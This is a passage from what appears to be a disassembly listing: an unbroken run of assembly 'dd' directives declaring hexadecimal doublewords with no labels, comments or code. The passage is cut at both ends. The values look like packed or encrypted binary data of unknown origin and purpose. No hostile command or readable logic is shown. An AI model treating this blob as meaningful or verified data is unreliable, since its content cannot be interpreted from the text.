207C1172h, 5E914F2Eh, 60DFC9E0h, 992650A2h, 0A64518C6h dd 0DDCBC423h, 5B3FF01h, 62CE372Eh, 0A22DCC30h, 887F7407h dd 680B8210h, 4CD884A7h, 500EFCBh, 7C4373CDh, 0FE121435h dd 34BC858Ch, 27863124h, 5608E409h, 88E412FAh, 595D5444h dd 122495CEh, 8ABF21E8h, 74957BB9h, 0B50CA05h, 385E290Ch dd 4801DD27h, 7F200163h, 3325001h, 952E6FD7h, 0B2450F1h dd 77F6E909h, 0E754E5B0h, 7F094A92h, 472844Fh, 9C192ABBh dd 0CA053F06h, 8A09C331h, 3531E664h, 0EA1EBE6Fh, 0BB58D9D3h dd 51DCB8C4h, 0B0694EB5h, 0ED30808Ah, 0E94606CFh, 73FD6076h dd 69B20CD4h, 0D2EA8127h, 13E92EE0h, 0DA298D28h, 44E56B1Ah dd 0C9ABDE9Ch, 45023247h, 80551D82h, 5CB8F24Bh, 0BB334C45h dd 0EF00D948h, 503060FEh, 0E22DE94Fh, 0D7B19ABBh, 0F9284F03h dd 5DB9BC05h, 27878D6Eh, 44B31F65h, 0AC490C17h, 0C6BDC528h dd 981CE749h, 0C58C9B25h, 81F10836h, 699AF3Dh, 0B7D4200Ch dd 0EB29581Fh, 68AC2092h, 944FE74Fh, 6AC83544h, 68496281h dd 0E05B223Eh, 83EA5B68h, 9303909h, 638B6A5Eh, 862A01F6h dd 3CE180D9h, 11286F53h, 4C6D79B0h, 0DC208244h, 235DBE03h dd 0D94E1C8Fh, 0C3250A8Ch, 50EF3330h, 0FAF3E7BDh, 0B2835A99h dd 6B17788Dh, 0AC8FECEh, 27567B50h, 6CF99CF4h, 484C2F06h dd 6F9369BCh, 2ED20668h, 82BE80h, 0BB67E66Fh, 0F9522B4h dd 0BED0A592h, 56DB04BDh, 7882793Fh, 0D50789C5h, 0D62AA796h dd 0F3B09CFBh, 52912D07h, 0D48B4407h, 9F26778h, 26E8CE57h dd 0BEE94CE9h, 86D3CC4Eh, 0BFEED28h, 3A33A8A0h, 0D717FA25h dd 0B1C2A92Bh, 8DB0C08h, 8309BC38h, 89455DC3h, 0C76A3B22h dd 0DE1341B5h, 74AF9B57h, 9009E244h, 689225A8h, 257558E9h dd 0FD005546h, 2E1F1A38h, 0C1F1E912h, 0C6E21841h, 0A240B52Dh dd 462A0C2h, 61E90FD4h, 88A2EAB3h, 87A91920h, 0E5C32C8Ah dd 646FFFB4h, 0AE295EBCh, 0C3E6001h, 84AD56A8h, 0D7F78F75h dd 0B227A0ECh, 0FB203444h, 0D1A680B9h, 5054163Eh, 53930531h dd 41EC385Fh, 3F90164Bh, 575259h, 194B8568h, 44E95F35h dd 2D20ED60h, 28996438h, 12F9401Ch, 0FE834DBCh, 0D0FA0344h dd 7BB6B6FEh, 7205B025h, 2773FA04h, 0E7EA2229h, 0C4E90801h dd 42FC2A06h, 4EC269C6h, 78FA8827h, 505B1E19h, 53CA0F52h dd 0DCAFD36Fh, 97040453h, 4FC017BDh, 2FDEEF3Fh, 0FBDE29C3h dd 4A8A5ED2h, 291F89B6h, 3909AE46h, 0DC3AF33Bh, 89561492h dd 8074BC00h, 5AAEE90Bh, 0DE2A64B2h, 0C52FA218h, 8082243h dd 1F9B8442h, 9CF8101h, 64A74776h, 1508C1E7h, 0ADE4434Ch dd 0F41A8899h, 48485F0Ch, 0E0CB272Bh, 0FEDFB75Ch, 88611FB4h dd 0FE2A39E1h, 27B17C3h, 3DD60645h, 28091451h, 0DD5966EBh dd 9B1D4CA7h, 0C5C2940Eh, 1262E97Fh, 0C9BB1BD7h, 937E6715h dd 0FDC14A76h, 0D5CA2A02h, 7F58112h, 4257D55Ch, 4D638A8h dd 0A9F20543h, 883A1066h, 813C07B9h, 617882EEh, 0E883E91Eh dd 4F015B98h, 15D0D8D5h, 7731B240h, 0F8A24F8h, 84BAC5Bh dd 6816BAF1h, 2CE9B7F5h, 0B47EA765h, 5D1331B4h, 0A3EA199Fh dd 8BD91CB2h, 0B84423E4h, 0F0BDF5D0h, 2C292464h, 9B140011h dd 8FE9D3D6h, 0F7A6899Dh, 8103F69Eh, 8314F9EBh, 2C0C0144h dd 0E92D213Ch, 686C24CCh, 9758F0Ch, 8212C40Bh, 9F00D37Dh dd 0F07CD35Dh, 1F5FB417h, 0F603FDE8h, 80CAFED2h, 8985C5BAh dd 0F59EF410h, 2C0B030Fh, 0E1438426h, 5919A7FFh, 4A92713h dd 61D05E0Bh, 25E4173Dh, 28F5013Ch, 68040AF3h, 589160C0h dd 773FD8F0h, 0C0208835h, 0FD07C44Bh, 0AB72D120h, 0DD45E9F2h dd 2D103570h, 8D40632Ch, 0AC81864Eh, 9F618220h, 95926D6h dd 8B68F87Eh, 17CED8FEh, 595A51h, 0DA477029h, 0D74C0116h dd 380841F6h, 7DBF9276h, 277E60C6h, 62F76880h, 0CC0BE75Ch dd 89628007h, 9A836330h, 0EB8D40D8h, 0E9B3B0EFh, 0E8B98113h dd 0B65ED642h, 16C30833h, 0BF4EB18h, 16A4BE26h, 88A1EB2Dh dd 2E34F2D4h, 25A114BDh, 0A9D5D6EAh, 0AA9FDAAh, 0DB9FCBCCh dd 0F109672Eh, 64B6F6E9h, 0B40592DEh, 0F131137Dh, 9BF78C2h dd 0B6B92C86h, 81F01F0h, 56CC4D1Fh, 9DBB1E49h, 49558A5Fh dd 0D0DDD43Bh, 3CD78648h dd 2F8E4951h, 59DC427Fh, 3356AD97h, 40F4DDC6h, 7403B9F0h dd 0BD2E5559h, 0A00B4A78h, 53752D52h, 5514501h, 18BE2373h dd 1FFFC46Eh, 5B112807h, 9C24EB5Dh, 1EC3DC2h, 6B300168h dd 0AF6016CDh, 566D00F9h, 580B9ABEh, 0F6048174h, 72A80594h dd 0C6ED01EEh, 40A74A26h, 1D1FEDD3h, 12F0809h, 8F408F5h dd 0ECF38E28h, 5F4A736Ah, 0FD06B7EDh, 0ACEA5704h, 739D5D71h dd 990269D5h, 50D6FE6Fh, 0A413174Fh, 1260E8E4h, 1485778h dd 33548003h, 8BF7F07Ch, 5FFEDA07h, 0B03CFD31h, 3B490D85h dd 0CAC00115h, 55890889h, 642C74EDh, 18B4AE16h, 0BA3C14CDh dd 2502D760h, 43249A2Fh, 0F5598A60h, 31FAE312h, 0D0F77200h dd 65704635h, 0C1F9E036h, 7B8922CFh, 0DAD33D04h, 7D5CBB00h dd 0B7A046BAh, 0B2124986h, 0D0FA0914h, 4012EB0Ah, 0E20BCE30h dd 48BB20F2h, 7206DD50h, 0C135F7Dh, 0F93EC804h, 4BE317Fh dd 5CEC8Ch, 8002EDC0h, 4960FBE5h, 80259A7Ah, 2555B6CAh dd 9D8579E9h, 0EEF7C457h, 4F257C0h, 801825C2h, 2109CF56h dd 0A22190F8h, 0CD7CB752h, 82CF3C70h, 0A4A0FED4h, 9761F8BFh dd 8111A6F1h, 1774FC5Fh, 38EE3C8Bh, 605FF0FFh, 0AC4F06B7h dd 66E11858h, 0BF8B9475h, 163F23E7h, 28AA63AFh, 15ED01B7h dd 57EBEF82h, 705A3A5Ah, 5201C2C5h, 385266AAh, 5FED46Bh dd 9491E908h, 0B1C7ABD8h, 135FF587h, 698BB7EAh, 64C25F76h dd 507D7862h, 95AC904Fh, 0E9D63857h, 7EC467EAh, 777AAB8h dd 0E21831F8h, 9BD3956Ch, 0D1A66889h, 7DBAF95h, 1A5DE905h dd 708E4EEEh, 0CC8FBE16h, 76616802h, 0CF8749B5h, 485D41F1h dd 5A155C41h, 0E87351BFh, 18CA6006h, 145C226Dh, 4A522D73h dd 694ADF26h, 63255377h, 0EF04EF08h, 0F913E5C1h, 0F3A7C0FAh dd 120BC23Ah, 0F262A6E9h, 0C6042077h, 6F185664h, 69AEBE01h dd 0C3C17036h, 5590595h, 5F1DF3F5h, 0BB65043Bh, 7E2D00FDh dd 9567481Ah, 0AEC09243h, 984A5D1Bh, 0E93842EBh, 0B25FDC44h dd 989F5989h, 68BB5D86h, 11745F19h, 0EE2A5B64h, 0E9F0042Dh dd 0ECBD4A17h, 0F66C22Ah, 4318DCAFh, 2C5E07CBh, 7D13CBBDh dd 7A27AE74h, 3159C8A0h, 132FAEC2h, 0FFA088E9h, 5C27A2DFh dd 0E91C1873h, 0FF0A0B5Ah, 0E9137DBEh, 0CDF58F9Fh, 321AAE2Eh dd 0E9F2DD0Ch, 7E2B0A20h, 5C224868h, 71BA52C1h, 3032ED6Fh dd 6315B03Eh, 5E3F2EE3h, 4EA46EB0h, 12B425B5h, 6CB0AEDDh dd 0A1DA5089h, 3BF89167h, 7C87504h, 51D39280h, 5FE5D885h dd 4A102F20h, 5821F22h, 0C5C8D3BAh, 0F071D76Ch, 0F6BC21B7h dd 0D5785FC9h, 9B7E9C2Dh, 0CF889CD5h, 0CD364BC3h, 3CDCFD8Eh dd 0F0B785B3h, 27D9C7EAh, 0FA93F437h, 8A32AE10h, 78E4C751h dd 0DC4856FCh, 0D609C10h, 603E1C1h, 0B6026B68h, 31DF73BBh dd 975571DFh, 0A92DBB01h, 8B9A1E3Eh, 0C28B33F9h, 681598DFh dd 0D44153ECh, 4258E917h, 0C0D4F6EAh, 6DF1215Dh, 3AFCE108h dd 95FF9AC1h, 0D9BA9D70h, 0E5420CD7h, 49AEE95Ah, 0B22E5C46h dd 25E9A04Fh, 2698BFAEh, 0FE57E699h, 86F64F94h, 284D4513h dd 0B73F5396h, 0DF401601h, 0AA5F20B7h, 9F5C2A38h, 3BB87E74h dd 0B30C90F3h, 66CF2809h, 0A2B52B02h, 0AC26837Ch, 28B4500Ch dd 0A63F5ECCh, 486C2F1Dh, 963BD1Dh, 504DC541h, 7A487D00h dd 811D6570h, 0D81B0E2h, 0B137E93Ah, 0C1B1497Fh, 0ECA427D9h dd 96A15827h, 759663F6h, 735E122Dh, 0A07D2FDEh, 0B8685C17h dd 87989534h, 189D1C21h, 0E116D3E7h, 4128BA2Bh, 0C21A5FE9h dd 5455BD67h, 0EB051272h, 0B94BA921h, 5F10E669h, 2E573ECCh dd 5DADED9Bh, 6E893891h, 865115E2h, 96C8F33Ah, 0E90D0CA6h dd 6A2AF5C1h, 31D150E5h, 1246867Bh, 939D53B0h, 1F327D34h dd 0E61E6FBEh, 20D00B77h, 569B2E7Eh, 0E9120B1Ch, 0AC9CBC4h dd 4E88682Ah, 36392DBFh, 5CE9137Ch, 0EBFBE56h, 0F44B9258h dd 520830DFh, 62D26BB2h, 73685E81h, 75F72F23h, 4116B146h dd 215441B3h, 306C9312h, 1F176D64h, 7AB534DCh, 31580800h dd 96F795CDh, 0D803EEFh, 0DAF71880h, 48B85042h, 0BC2FC313h dd 0BA3B3AB5h, 0F7BA1912h, 8566094Bh, 0EC8082C8h, 0D20FB2h dd 861760D1h, 31ED0110h, 0E90800BEh, 2F9DB471h, 0BE59E109h dd 0B46B4F56h, 0E3F6FDD2h, 75ECA94Eh, 468E210h, 6E6C15Dh dd 0DA431281h, 4E780223h, 3FBDED1Bh, 0DDE699EEh, 88A5EB0Fh dd 92589DFh, 63D275C9h, 54CD185Eh, 0CE20AC6Fh, 0F7A1F807h dd 31B33F51h, 7E8E29B1h, 0FC77F6FDh, 0BF63F8D4h, 0FC6FF40h dd 73A72509h, 0D5C13F69h, 0F8EC6189h, 353DE3EDh, 0E9D4DE3Ah dd 19210816h, 0BD3ED29Bh, 0A2CACF11h, 0DFFECBFAh, 0A7A5F190h dd 7DC173C9h, 2FFDEE58h, 421EBE41h, 0ED403743h, 244524Ah dd 0E9C6016Dh, 95D4DB64h, 498264B4h, 206B7634h, 7F6818F9h dd 5B56D738h, 1679679Dh, 6891C08Bh, 940E751Eh, 1C2D5811h dd 0E9654AC1h, 273FF5B5h, 687FE922h, 0AAB1D219h, 2FC1DDB6h dd 0CC0930C0h, 846B9068h, 2D9D4C27h, 1A7CD901h, 0B6E91954h dd 404928E6h, 612AA28Ah, 0D17EE890h, 32D165Dh, 0F67F90B8h dd 48D8E005h, 8070092Dh, 7C01FA09h, 6B625AE9h, 2C984CD6h dd 521552CDh, 0E2F068DDh, 6B68275Dh, 7206B5Eh, 967BE912h dd 41F799AFh, 1E4F863h, 0CC40DA87h, 19541A5h, 7FE62543h dd 0F2405D1Ah, 0A0F12D55h, 85CBD4B8h, 2D79CC8h, 9BF9440h dd 770D13AAh, 0AF6A501h, 3E5C20B0h, 3B53D240h, 1D8BB5BBh dd 18DF3149h, 0D7D5C4C7h, 0A38AFB22h, 0F1C7E982h, 4D857674h dd 7E819F36h, 0B229DA8Ch, 4E71511h, 5C618BBEh, 300027ECh dd 551CEC31h, 3218BA68h, 23303D66h, 0DEB98069h, 14F13F1Fh dd 2D7FEBC2h, 0C0C9EA6Ah, 33735F5h, 0ACE90DBCh, 0D350FF5Fh dd 0E3975CB2h, 9703D6D3h, 41630277h, 0F2A2F719h, 0C05161C9h dd 15DB6805h, 24AD39EEh, 8B2D5E72h, 4E6A343Ch, 0B074B850h dd 5B336F13h, 0E04DB811h, 807E0529h, 7A1628C5h, 0E6F06ACEh dd 19101741h, 0CBED0DD3h, 2DC730C5h, 2603DE9Dh, 0B0C02D39h dd 0CD61EE80h, 0F1282906h, 0AA62E893h, 1FC59CC8h, 0E7E386C4h dd 50FB670h, 2200D25h, 8B2DD001h, 2EB1FD07h, 3C8D2C55h dd 0FA300BBDh, 891A0F26h, 0FEEDA966h, 8FD4F288h, 0E95822A5h dd 13E8F63Dh, 0DCA2BE66h, 9A047CD4h, 0C00E1402h, 0F94618C2h dd 0F54D3E2Ch, 3075AE10h, 5947AFC0h, 0F63BD186h, 2D4E5FD2h dd 3D98BCAh, 0F4C9FEECh, 29C3F081h, 5DEB0100h, 2CFE894Bh dd 0CE0BBFC5h, 0FCF0ECB4h, 13F128D1h, 0BDFF8625h, 0C11CD086h dd 0FEB04DE9h, 8931A92Ah, 255C7329h, 0B064B67Ch, 40CE8CEAh dd 5D9804BFh, 0E139A8BBh, 0D53A855Fh, 960FBCEDh, 1EAB43A4h dd 0B914DB4Fh, 0FA5BD6B5h, 80CCDD01h, 0EBCC9AF3h, 380CCFB5h dd 6E0C326h, 0B6525901h, 5AF4282Bh, 0C4F9DCCDh, 39515BE0h dd 0EA04E588h, 0BF8F0EE9h, 0A8746320h, 0E2E2BF55h, 0E047E375h dd 944AA968h, 0D61963F5h, 0A8529C33h, 0CA956251h, 125998D1h dd 0DDA15693h, 92E1E97Bh, 44CFAF0Ch, 68E81C29h, 2966A733h dd 14F1A01h, 0E826E936h, 0DDF79F51h, 196A807Bh, 32986302h dd 4AC7F506h, 4F7C1359h, 0E767AB66h, 687E2DB2h, 1892E35Fh dd 0C5E7739h, 152F053Bh, 0DB258069h, 5E29945Dh, 66028BDEh dd 92AFCE86h, 19EA044Fh, 0C04F877Eh, 2BAC8F55h, 30E0895Bh dd 8104E1E1h, 243322B5h dd 0AE41546Ch, 0A125C20h, 2948E37Dh, 0B724B1h, 7BAC3186h dd 0CAF1E901h, 71C088Dh, 0F16FD517h, 5570209Bh, 572546BCh dd 0E940BDE5h, 91FEC939h, 0F123924Ah, 7A603504h, 0DA6074FCh dd 0F27F8DCEh, 0E24E086Eh, 5F55792Eh, 26F7FD0Bh, 2C65EB4h dd 0EC7BFCA8h, 0C300D631h, 954715AAh, 8762875h, 59A85E17h dd 96D4B796h, 0BD6981FEh, 59A0A7ADh, 0E17B726Eh, 0FEE4D105h dd 307BA1F6h, 68F3E8F5h, 7BB73D48h, 97CB9D35h, 0C76006B9h dd 68122ADFh, 81CC1F60h, 0A34B1392h, 33C8FB76h, 354EE9h dd 36C468B6h, 8AF4493Eh, 0EF1A68B5h, 0FBF532F8h, 9FF829Ah dd 4DC775CCh, 0D6E90CB0h, 264B536h, 0E05BC740h, 0B7F897F1h dd 8280384Bh, 0B004EEC0h, 2E01730Dh, 1035D6C6h, 0AA532A3Bh dd 0EE9B82B5h, 4F30A0Bh, 0FB503DDFh, 48083BC0h, 0B6A7676h dd 27E6DE7h, 0CEC75700h, 504A0407h, 0AB050CBCh, 0AF55BAAEh dd 3A86BC4h, 0BE52954Ah, 0DA513283h, 2FB3D467h, 2DEA96D5h dd 0F84C774Fh, 56515202h, 0E8F7A4E9h, 4E5E5B1Fh, 8F98AB01h dd 63B90A51h, 9E4AA7Dh, 0AF10FB0Bh, 55B2F687h, 6FEDCF06h dd 9BE16A1h, 17D22965h, 458FF04h, 2B825559h, 485809BCh dd 0DA28B10Fh, 0C38D8719h, 5739DFCBh, 2AAF2F5Ah, 5DE96B86h dd 575B1A6Eh, 0E9A1D4A2h, 2F98352Eh, 0C29E38EFh, 0FBB91D4Ah dd 0C48FE6D2h, 4D1D5C49h, 20D4AC1Ch, 2590CFE4h, 202274Dh dd 2C1B90B8h, 0D85E5D17h, 42F9005Ah, 17348C5Dh, 6078DD68h dd 0D208876Ah, 0F5001598h, 4316189Bh, 16556851h, 0A8461757h dd 2F8E006Ah, 202D1411h, 3EB7669h, 222AD135h, 0E1B04830h dd 90967C4h, 5A900CE9h, 6886905h, 0C5C35485h, 771DEE67h dd 0FA9937Eh, 820068F5h, 9F100D68h, 0F9A8A318h, 0A78E4082h dd 7E69FEDh, 1D6DDE35h, 0BB0E08FDh, 0FE58AF2Ch, 762FE9FAh dd 4271FC74h, 0BE0069B0h, 7A435C29h, 8C7D247Eh, 74E24FA1h dd 0EF402336h, 0A53051ABh, 0C47F0C78h, 72A66427h, 26BB007Ch dd 95187A3Fh, 0E8098978h, 577B032Ah, 0C540A7D9h, 0C154931Ch dd 0AF513828h, 72AA3B13h, 0CF5C19F3h, 0E8CF5F27h, 14F9322h dd 0DCBE2B13h, 0D427E948h, 4D6FA6Fh, 2FF869AFh, 15560A01h dd 926CA62h, 0FE669E07h, 718EFB12h, 0AA4F683Bh, 38F39324h dd 4F45FD5Ah, 37FF0CC1h, 747D5C02h, 0AAC287D1h, 47D7DBFEh dd 22AE2C1Ah, 2CAF6ACh, 229F5BEDh, 0D540EAD1h, 1125C946h dd 3921FFCDh, 40422528h, 8A12C6B7h, 13035D4Ch, 0D8450DD9h dd 8AFE7E9Ah, 0FCE909D8h, 57201AA4h, 0AE1D9068h, 0B86FD3BFh dd 64931589h, 6065F15Dh, 622309D0h, 0BA00DF93h, 6C6E0790h dd 0F7D35C21h, 0EA4F8084h, 8C8ACD44h, 8E84AB12h, 0B3F934C9h dd 0B4829438h, 0BAE030AFh, 568143D0h, 17F8C420h, 0C0730752h dd 4C3F3ED6h, 0B812D4DEh, 0C70F4FBAh, 0A2E5E877h, 383EE1E8h dd 787E37Fh, 10954B4Fh, 0D6FC0ED2h, 586F8089h, 0E6C102D6h dd 199A0449h, 0D93B1B06h, 91B574DCh, 9F510EBh, 0F526B067h dd 0D7FA31E4h, 2C13A050h, 0FD54FAF0h, 0D616F2EFh, 5307E41Ch dd 631059EAh, 4E3BE91Bh, 0AAA2D10Eh, 3017ED43h, 6F0F7C9Ch dd 0B2E91D5Dh, 309F89FFh, 68806901h, 65565AF7h, 14DCBAB1h dd 13F378C7h, 0AA016E1Fh, 4C08CA10h, 57C25A36h, 0BE9B805Fh dd 0BD74A598h, 0EA17A3FEh, 753C5EFh, 0E03AF645h, 68FA0141h dd 0F1658327h, 5AC8241h, 42FD6BC3h, 2F1A577Fh, 8E5009C9h dd 0E04BEB62h, 0B419B842h, 9501F276h, 0EDC08971h, 0E7C6591Fh dd 8402D69h, 50562858h, 0B83B4082h, 5C31DD0Eh, 0E4C56F0Ch dd 9DC2EA89h, 805901C9h, 1F8730E4h, 0EDE09241h, 0E8F0BF02h dd 0CAF1C3E6h, 36118660h, 0F2BB669Dh, 0BB9A4F90h, 0D1E05253h dd 5BF27D29h, 0AE008422h, 66B7B8Bh, 15B2607Dh, 7512055Dh dd 60778768h, 5BB39E98h, 29854C5Bh, 40CE94F5h, 583F5545h dd 6425E23Ah, 0E75DFF0Bh, 84192817h, 407B0906h, 93036983h dd 2E9F464Dh, 7525E9C0h, 5EC13621h, 7DB4143Fh, 251DCEF0h dd 78F41B48h, 12E4B500h, 0BFF10130h, 0A63D9A00h, 1DB61F88h dd 8CC8C10Dh, 85D87FF2h, 6EAAF797h, 0D34517E4h, 740E07CEh dd 522A1471h, 4B00EAECh, 35754A48h, 33256689h, 0A018E03Ch dd 56E93F7Ch, 97C82D83h, 0D5C16724h, 60CE2EC1h, 2DEFDC7Eh dd 487738DDh, 816680F8h, 7527F63Ch, 9275A77h, 528C49F3h dd 0F43AA721h, 5E5FF04Eh, 0C325E2F8h, 7FFDBB78h, 464A82h dd 0A0342A0Ch, 93D240F2h, 0E9B0D4F9h, 9997A7CCh, 30341FDBh dd 0B70A60E8h, 1AAE150Ch, 0BD841600h, 0F91819A7h, 0B529045Ah dd 0AA451DD5h, 2C0DC109h, 6F3CCB0h, 16BEEE4Dh, 0FC051419h dd 14E832FFh, 6908527h, 5752ACh, 73C01D25h, 0BFFB94F6h dd 0BC477D00h, 5F8D055Bh, 85890C59h, 0C1692B21h, 39CBF20Ch dd 28050C42h, 60C0A9CAh, 14355B13h, 7B008026h, 0B31F8315h dd 3C76401Ch, 22048245h, 80492886h, 14D6FE37h, 9D8B5706h dd 28601E6Dh, 7BBC6051h, 61C107FAh, 3F0F028Fh, 9D895FB8h dd 2C2C3D34h, 0EE6187ACh, 0E03CF6EBh, 0F1B01EEh, 0B02F0E85h dd 0A0E9C3BFh, 0F86617Bh, 0A1C07BADh, 0C8207369h, 233FDF19h dd 0E30D2400h, 4A1EE2B9h, 0C45A005Eh, 0D9BB43EEh, 9100951Ch dd 576D0207h, 0F79F0C8h, 8D62D5BAh, 77409B81h, 75007059h dd 24A3CF00h, 4107AD95h, 8004A731h, 0AE01D53Bh, 3860E020h dd 4D2B2918h, 1A3A1DC2h, 8095DE1Bh, 6FE04E96h, 0C93820A7h dd 280A06E6h, 42294CEEh, 0DE16117Fh, 11E70D11h, 93214AB3h dd 42DCA23Ah, 11112121h, 0B16B0057h, 1FE155D3h, 81F500F3h dd 2591977Bh, 2F001AE0h, 0A54044BAh, 398E65C3h, 796E2Ch dd 0E68A10ABh, 7BF53349h, 56D4DC07h, 9C605C6Ah, 3970650h dd 58B4BC34h, 37E808F8h, 0A13C7981h, 25290038h, 803D0417h dd 369A9857h, 2152DE23h, 9092060Fh, 7F38933h, 0AF00C66Bh dd 749D3E5Eh, 35F0FEh, 0A5676B70h, 2C633C97h, 153EE00h dd 0DE1B6089h, 390B1E34h, 0BA624043h, 8F04D620h, 58CF971Ch dd 96B981C0h, 5CA8C8h, 490E86F7h, 697F897Ch, 1EEC1D05h dd 0B5C07371h, 0EE82AA61h, 0E8A65040h, 0E11007EBh, 707E837Ah dd 0A5CAA41Ah, 0ED579607h, 61D1B3FCh, 0B2F14D52h, 7742E0C2h dd 9D510366h, 417048B5h, 0E127A9F8h, 85BC7100h, 95D5AA1Bh dd 1ED6FA1Fh, 0F0F12Dh, 0C92E3724h, 261E6B14h, 0CA2C95D3h dd 0BD726200h, 0B42B0Ch, 2471C1FEh, 2F03110Eh, 0BAE23D00h dd 84D7771Dh, 16A9001Ah, 0DF401F94h, 915C56E7h, 0B7A5408Dh dd 64B98003h, 80A118A2h, 0CB88F2h, 0ED515A3h, 7B1AF894h dd 0DDE57A00h, 620A3E61h, 81B100C8h, 0E4E6703h, 7100D85Eh dd 8AFEE4AEh, 76A20h, 38AD3D7Fh, 0CE5E26DAh, 141F5198h dd 0D20293FDh, 40012E28h, 7798288h, 0E7198D7Bh, 43B9B01Bh dd 5D00AA3Fh, 1246E2A8h, 1DD080Ch, 44E69D7Bh, 0F47CF416h dd 1E0352B8h, 93BDDB82h, 617FD734h, 51647394h, 0EC3820h dd 3CEDFC84h, 0E518954Eh, 0EBF41B00h, 425C2391h, 0E9160463h dd 8740C009h, 0F58020CCh, 0B3FE8FBBh, 0CD78E000h, 0B6F78821h dd 0D2DF092Ch, 4800A434h, 3F5A179Eh, 1B0153F8h, 7DDBC2Fh dd 86CC13E6h, 17B906B1h, 7469FAFEh, 5B763E00h, 0C5640C3Ch dd 0DAAA005Ah, 12137CB0h, 7200B7D0h, 39C0176Fh, 321ECA55h dd 28903B05h, 2A30FE00h dd 0E678C0A2h, 0D04A9C69h, 0F4FA8C92h, 6EE76701h, 8507740Bh dd 4075F443h, 0F48FF4B8h, 0C4170068h, 905FC95Ah, 33047C37h dd 180B6976h, 91EC9DC0h, 0ACDE03F4h, 0CFD22813h, 8B6C49F8h dd 4DB7361Dh, 1F07055Ch, 0AAC13799h, 31D44315h, 0DBE9036Ah dd 28F03466h, 687AD0D7h, 3D0F1AECh, 0E38D5A79h, 98AE0DC6h dd 2EB56632h, 1354485h, 0A0A129CCh, 0D18FC0A5h, 4011CD01h dd 2DBD24FAh, 3E8830h, 0B29EFCA9h, 52FE1C5Ah, 0C0F73Bh dd 0C3E59BF6h, 76B2F8Dh, 3991182Dh, 0EF2B13C1h, 0E4C66391h dd 6003848Eh, 227F134h, 0D7D0A026h, 159490BBh, 0F445E724h dd 52AD9B00h, 7B163286h, 1799E01h, 9D032E99h, 760F69E4h dd 0E3823C68h, 0A75B9B00h, 0F83915F9h, 0BDC99700h, 76E91801h dd 7920A17h, 2CC4FFh, 8BBFB842h, 7F008258h, 0A5A6B346h dd 2BC94D1h, 81D6FAFDh, 0BF80392Ah, 579C3522h, 64205200h dd 11D4D9EEh, 0FE6A07F1h, 804F19ADh, 0E10C52Ah, 8EF90200h dd 0FCA33EDEh, 0D82C002Eh, 4FE4E9BEh, 760083E3h, 32CA3C38h dd 0F4CED71h, 958063ABh, 399F47C0h, 660141BDh, 82C7EAAh dd 4C64AFCFh, 295D07C7h, 80420DF5h, 0A228A97Dh, 6C2F6500h dd 32A546A6h, 31540E1Bh, 802090C7h, 3928EE73h, 82B3D1C7h dd 0B6F32BF3h, 0DB740088h, 0BB400DC1h, 0E90087B0h, 0CC0C36B3h dd 0F4E80971h, 910526E6h, 3FFD0764h, 6AB1019Fh, 0C345E4A6h dd 580FD700h, 87CFAD40h, 51BB0432h, 80EDF2B6h, 34A8F87h dd 0EB00EFFEh, 0A7095E49h, 0CC99AAh, 0AB504786h, 8FF9E729h dd 5C5F1D00h, 5653CD14h, 73389803h, 0A64300BAh, 45E3AF71h dd 7000B11h, 8A70B5E2h, 0D44A7Eh, 0D57334B0h, 0BCDE7D1Eh dd 803A9400h, 0A3DA361Ah, 6CCB0F85h, 4D21E644h, 24F2C2Bh dd 5851E0A4h, 0CA2F0083h, 0BDB1AFA6h, 0B7001F9Ch, 40187526h dd 0EBA072h, 8B642BB3h, 6774B585h, 8163500Ch, 13A3196h dd 338849BAh, 608480F2h, 0C01C3708h, 0F8A6FFA4h, 0B5DE4D80h dd 398ED38h, 3EC69C64h, 6288DDF1h, 0E1E68C87h, 0FDAD0400h dd 0FB516576h, 0E3DB00D6h, 2C5ACC0Bh, 4700E943h, 98449A8Fh dd 0B0AAF91Bh, 58730068h, 6EC6249h, 8B0082A9h, 0A01E0D32h dd 0C03BA4D5h, 4BB5FA38h, 3F00184Ah, 0B9FEDF77h, 7607E14h dd 419ABA58h, 3439506Fh, 915883EDh, 0D91F0258h, 0C8F0C57Eh dd 0CB9E68h, 394184CAh, 0A7C84F0Dh, 0D9785700h, 0AB5D6F6Ch dd 0C4D400E9h, 3036D825h, 9B0A0B7Bh, 84450F92h, 4810F092h dd 0DAE0C84h, 303116Dh, 0C650A202h, 23A8B2C8h, 0C500D01Eh dd 0F6ED8634h, 8D1577h, 0C981C78h, 47480793h, 29A8539h dd 0E329023Eh, 0D96E4326h, 3470CDC3h, 0C210015h, 4168DE9h dd 5F389EE4h, 0A88026B6h, 3BDD4200h, 2022D8Ah, 13DC97A9h dd 0FFC03DFDh, 880056EBh, 8A946D93h, 745D178h, 76133E9Ah dd 6ED8A03Fh, 0F100170Ch, 63F656DCh, 0DDB91Ch, 71E75FC1h dd 0D532FA05h, 0D8FBBF00h, 0E9A2BA06h, 0C12A005Dh, 0F4B44D4Eh dd 42E459Ah, 4900121Ch, 0E898129Fh, 5F33003Dh, 0EA1B0F20h dd 13121655h, 0F8003E31h, 0A1B0FB53h, 5079003Ch, 0F5159C41h dd 3672805Dh, 0CAE3F800h, 0D1403221h, 0B7F90F13h, 9008584h dd 6ED3AC22h, 0E8494100h, 470FDECDh, 3DF32E08h, 9D9E001Ch dd 0E41EAE3Ah, 0F6382272h, 9AFA0242h, 0C070E0A5h, 90D781FFh dd 24E97308h, 8068A3F4h, 98B04758h, 0CAF281AEh, 0CF3F6D17h dd 3E5D4700h, 1FFFB612h, 80E6715Fh, 0FB110406h, 3A7AB29Dh dd 0E7D980E9h, 502D24CFh, 0CDC400FDh, 0E968A930h, 0F300BA94h dd 965E7764h, 0ECFDACFEh, 505B098Ch, 0F7F71Ah, 0D121723h dd 71BC01CDh, 74B2842Ah, 0AD98386h, 0F0B4CF1Ah, 9DB7B1Dh dd 83927645h, 10CBD827h, 9DB37C53h, 7B7A5D00h, 0D3AF064Eh dd 0EECB0E3h, 0E7D5503Eh, 9490E80h, 41603545h, 641B7758h dd 768E0103h, 0D20CDECCh, 814C82Bh, 0B10F8376h, 430B1FDCh dd 90C2A299h, 67230h, 0B64694F7h, 91874017h, 77716D03h dd 99BC19E7h, 26F0B167h, 285900FAh, 0CD1518C2h, 470078B7h dd 0BD3491CEh, 2D6953h, 92011F94h, 2B866B4Fh, 80E1BA38h dd 15A43A20h, 58919Eh, 6FECFD38h, 0F216997Fh, 700243FEh dd 94937A3Fh, 5C93E019h, 0B8077F52h, 75A800D4h, 3F7CF8Bh dd 9B0053FCh, 495A733Ch, 0D02D1Bh, 46D7BF43h, 0AEEB6E95h dd 5D80996Bh, 6A3B5A80h, 570EDFA8h, 6A651850h, 4C39A985h dd 